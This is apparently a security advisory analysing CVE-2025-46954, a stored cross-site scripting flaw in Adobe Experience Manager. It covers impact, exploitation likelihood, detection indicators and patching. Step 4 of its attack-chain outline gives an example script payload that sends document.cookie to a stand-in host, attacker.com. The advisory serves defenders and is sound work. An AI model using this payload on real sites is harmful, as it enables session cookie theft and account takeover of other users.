CVE-2025-46954: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46954 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into form fields within AEM; the payload is stored server-side and executed in the browser of any user who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but does not require elevated privileges beyond a basic authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session cookie theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The vulnerability has a changed scope, meaning the impact extends beyond the attacker's own session to affect other users of the application. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-46954. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to AEM with any low-privileged user account (e.g., a content author or contributor role).
3. Locate vulnerable form field: Navigate to a page or component within AEM that contains a form field susceptible to stored XSS (e.g., a text input or rich-text field that does not properly sanitize input).
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save or publish the content.
5. Wait for victim interaction: When a higher-privileged user or administrator browses to the page containing the injected field, the malicious script executes in their browser.
6. Achieve objective: The executed script can steal session cookies, capture credentials, perform actions on behalf of the victim within AEM, or redirect the victim to a malicious site (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML or JavaScript tags in request bodies.
• File System / Content Repository: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored within AEM JCR content nodes or page properties.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages, potentially carrying cookie or session data in query parameters.
• Logs: Browser-side console errors or CSP violation reports triggered by unexpected script execution on AEM pages.

Adobe has released patches addressing this vulnerability: update AEM on-premise to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding for all AEM form fields, enforce a Content Security Policy (CSP) to restrict unauthorized script execution, limit user privileges to the minimum necessary, and regularly audit user-submitted content for unexpected script tags (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, as part of a broader June 2025 patch release (CIS Advisory). No notable independent researcher commentary or significant social media discussion has been identified for this specific CVE at this time.